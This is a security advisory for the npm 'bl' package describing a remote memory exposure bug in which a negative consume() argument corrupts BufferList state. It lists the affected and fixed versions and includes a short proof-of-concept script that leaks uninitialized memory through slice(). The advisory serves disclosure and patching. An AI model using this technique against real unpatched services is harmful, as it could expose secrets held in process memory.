Remote Memory Exposure Affecting bl package, versions >=2.2.0 <2.2.1 >=3.0.0 <3.0.1 >=4.0.0 <4.0.3 <1.2.3
Snyk CVSS
Attack Complexity
High
Scope
Changed
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.15% (50th
percentile)
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Test your applications- Snyk ID SNYK-JS-BL-608877
- published 28 Aug 2020
- disclosed 27 Aug 2020
- credit chalker
How to fix?
Upgrade bl
to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.
Overview
bl is a library that allows you to collect buffers and access with a standard readable buffer interface.
Affected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in consume()
argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice()
calls.
PoC by chalker
const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
const clone = Buffer.from(secret)
const bl = new BufferList()
bl.append(Buffer.from('a'))
bl.consume(-1024)
const buf = bl.slice(1)
if (buf.indexOf(clone) !== -1) {
console.error(`Match (at ${i})`, buf)
}
}